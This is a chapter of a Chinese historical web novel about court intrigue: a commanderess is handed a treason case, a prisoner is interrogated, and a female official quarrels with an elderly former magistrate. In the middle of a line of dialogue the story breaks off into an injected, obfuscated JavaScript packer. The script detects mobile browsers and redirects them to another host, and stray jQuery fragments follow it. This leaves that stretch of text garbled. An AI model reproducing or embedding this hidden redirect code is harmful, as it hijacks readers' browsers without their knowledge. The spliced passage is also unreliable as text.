山度泽 作品
15.真相将明(二)
“你在笑话我?”
沈非复偏头见她,她脸上虽有几分笑意,眼里却隐约有泪光。
“我问你话,是或不是?”
“是。”
终于承认了。
数次在背地里给她使绊子,都是为了孟觉醒。
“戚行宣,收网了。”
祝泽世撂下话就离开了这宅子,她有些疲乏,身子若负有千石之重。
寂夜被尖锐哨鸣划破,这场让人看不真切的棋局随着天色渐渐明了。
休息了不过两个时辰,圣上就召她进宫。
尚未早朝,大殿上只有圣上与几个近侍,奏折堆成座山积在案上。
方才在宫门外迎她的内官多嘴了几句,提到这些折子都是前些日子参她的,想必是要在今日解决。
“今日召你来,是想让你看看这些折子。自从春闱放榜日起的,都压在此处了。”
祝泽世顺着他的话看过去,在心中苦笑:还好还好,没有预想的多。
昨夜里擒了孟璋,待会儿朝上必定有一番唇枪舌战。
参她的这些折子是压不住的。
圣上只说了这么一句,不再有下文。
他不表意,难道是想让祝泽世自己评判这事儿。
“难道圣上赐座不是为此?”
高台上的人发笑,后问:“你心中可有畏惧?”
“臣女既坐在崇明殿的勤政座上,又岂会怕这几本折子。”
只见他缓缓抬手,随后指着几本奏折道:“这些都是早前说你参加科举不妥的折子,祝尚书也有一本在其中。”
祝宥生参这一本,本意是想让她远离朝堂风波。
不过在旁人眼中,祝宥生有上书这一举动,是因为她目无尊长,连亲爹的话都不听。
“待到殿试时家父已告假归乡,想是惦念……”
“罢了,今日召你来不是说这些折子的。翰林院编修陆朝槿,想必你曾有所耳闻,朕命她助你审案,可有疑义?”
陆朝槿她自然知道,她可是开国以来第一个科举入仕的女子。
说好听点儿是协助,实则是让她来监视自己。
不过陆朝槿做了三年翰林院编修,朝中事她知道的定是比祝泽世清楚。
也不算坏事。
“没有,谢圣上。”
“退下吧。”
专门把她召进宫只为了安排个人在她身边?
不应该,他是在试探祝泽世,即使千夫所指也不能退缩。
祝泽世的大脑还在一片混沌之中,第一时间没有反应过来方才圣上所说的,见着候在宫门外的暮雨时她才记起那句“命她助你审案”——圣上把这个案子交给她来办。
当真不是做梦?当真不是。
祝泽世下令把戚行宣关在沈非复隔壁的牢房里,他何时拿出孟家父子的罪状和沈非复的认罪书,何时就能“出狱”。
在保证沈非复不受刑情况下,有效提高了戚行宣办案的积极性。
“他如何了?”
沈非复整夜未眠,精神颓靡,好不容易开口问了句话。
听见那有气无力的声音,戚行宣立刻编了句:“手抖箭偏,死了。”
本是想刺激一下沈非复的,没想到他听见这话后非但没有激烈的反应,看他的样子还多了几分无所谓。
良久,他才摇头轻叹道:“也好,如此便解脱了。”
随后他又不说话了。
若不是祝泽世特意嘱咐过不能动刑,他早就审出来了。
沈非复一点儿不配合,戚行宣环顾四周后,想着说说闲话也好。
万一能从废话里套出些什么有用的信息来呢?
“你既不愿意说孟璋是怎么勾结外敌的,我也没必要再浪费口舌问你。但有一件事我很好奇,你身为临安府知事,明知孟璋所犯的是诛三族的重罪,非但不奏报还阻挠郡主和皇城司查案,他们是给了你什么好处?让你这么……”
沈非复打断他的话:“世子,下官也曾审问过不少犯人,您要问什么直接问便是,何必拐弯抹角?”
戚行宣长呼一口气,我问你你倒是说啊。
"你和孟璋、孟觉醒之间有什么关系?想说是钱权交易关系就免了,我查过他们府上的账……"
“孟璋是我爹。”
这次的回答虽然干脆,但有待证实。
问的是三个人之间的关系,刻意绕开孟觉醒。看来真若祝泽世所说,他在乎的只有孟觉醒。
“孟觉醒没死,我可以差人把他带过来,”戚行宣注意到沈非复抬眸看过来后,继续道:“若我能脱了他的死罪,沈大人能如实回答我的问题吗?”
对方犹豫了片刻,还是答应下来。
大理寺外有人争吵不休,一男一女的声音都快穿透了整条街也没人敢上前阻止。
见祝泽世的马车靠近,两人不约而同闭上嘴。
“在下娄怀疑,受世子之命而来,这是凭证。”
面前身量矮小的驼背老头递上一封信,其中文字若祝泽世亲手所写。
这便是凭证,戚行宣擅仿人文墨,不过这一封写得略微潦草,三年前仿谢至笔迹的那一封才让人难辨真假。
信上引荐说剑北路曾有一娄姓刑狱官名怀疑,十年前在蜀地至北,即利州供职,因审问犯人的方式新颖高效,渐被各地官府学习,算是小有名气。
不过已辞官多年,正巧这段时日在京城。
戚行宣是会找人的,把自己封地的官员挖来当人情牌送给自己。
“下官翰林编修陆朝槿,参见郡主。”
说话的人扶正官帽,她皮肤白皙,眉浅似远山,眼睛却有神的很。
陆朝槿拱手作揖时,祝泽世瞧见她虎口的死茧,一双常握刀柄的手如今只在提笔。
心中正感慨,目光无意落在了陆朝槿腰间系着的竹枝玉笔上,传闻这笔的笔杆是北地的千年寒玉雕成,有市无价,抵得上边陲一座城。
方才两人的争吵祝泽世听见了一部分,娄怀疑左右都在说些她一个女子不该做官,失了作为女子的本分。
陆朝槿当时听了这话火气攻心,将头上乌纱帽一摘就要去揍他。
见着祝泽世来了,娄怀疑行完礼马上往她身后躲,一边小声嘀咕了些更难听的话,刚好能被陆朝槿听见。
“你还想打我?你家中父母是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433857|164904||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
不曾教过你尊老……”
见着陆朝槿的拳头捏得更紧了 ,娄怀疑马上站直身子,接着狐假虎威道:“嘉昱郡主在此,你怎敢造次!”
看来让他们一道去审人是不行了。
那个假的傅泽瑜被关在刑部大狱,一审便回答,可没人听得懂他在说什么,娄怀疑的祖籍就在漳州边境的郡县,不如让他去审。
“眼下刑部正有一人需要娄先生提审……”
话还没说完,娄怀疑就连忙应下,不过多时就潇洒离去。
“这老头曾在利州任职,难道不知利州是四百年前那位女帝之故里?千年前便有女子掌天下,今世女子还做不得官了?轮得到他说什么本分……”
陆朝槿一脸不服气,小声抱怨着。
“陆大人心中有气,方才何不一拳打上去?”
听见祝泽世的话,陆朝槿起初是愣了一下,像是在说你怎么听到了。
反应过来后,陆朝槿赶忙躬身道:“是下官失礼,郡主恕罪。”
“难不成是因为娄先生年事已高,怕他受不住你这一拳。”
“回郡主,下官虽心中不悦,抱怨良多,但我知道娄先生因何而言,所以气愤至极也不会动手。再者,打人非君子之行。"
"那他因何而言?"
陆朝槿跟在祝泽世身后,犹豫了一会儿才道:“娄先生本不是迂腐之人,他的发妻是军中将领,二十多年前死了在战场上,他对此心有芥蒂,故而……”
竟是如此。
大理寺狱中燃的灯油祝泽世闻不惯,在里边待久了就昏昏沉沉的。
不知是不是错觉,祝泽世总觉得最角落的那间牢房里的囚犯看着有几分眼熟,不过她一时半会想不起这熟悉感从何而来。
那囚犯在察觉到祝泽世的目光之后就慌慌张张转过了身,像是她多看两眼就能从他身上抓住什么把柄似的。
看他心虚的样子,祝泽世不禁怀疑他们曾经打过照面。
不过老鼠被猫盯着看总是会心生畏惧的,那人躲闪或许只是惧怕。
“那里边的人姓甚名谁,是犯了何事?”
前边引路的是大理寺卿,他朝那人看了一眼后又转头看向祝泽世,若有所思道:“回郡主,那人可是有什么问题?”
“看他身形面貌似是个手无缚鸡之力的书生,不像是穷凶极恶之徒,有些好奇。”
被关在这一层的都是待到秋后问斩的死刑犯,他的气质实在不同于其他的囚犯。
“郡主万不可以貌取人,他既然被关在这一层就绝非良善之辈。大理寺事务繁多,下官一时半会儿记不得他犯了何事,出去之后便立刻调卷宗。”
圣上早年间便称赞大理寺卿聪慧,即使年过四十,对案件仍旧是过目不忘。
他这是在掩饰什么?
不想让她知道 ,她偏偏就想知道。
“受教了。既然大人事务繁忙,送至此处便可。”
眼下要紧的是拿到苏氏兄弟的证词 ,那人日后再查也不迟。
走到这条路的尽头就是苏言苏行二人所在,为防止还有人行刺,便将他们关在了这里。
这一层的囚犯都未有成功逃狱的,理应是这京城里除了皇宫之外最安全的地方。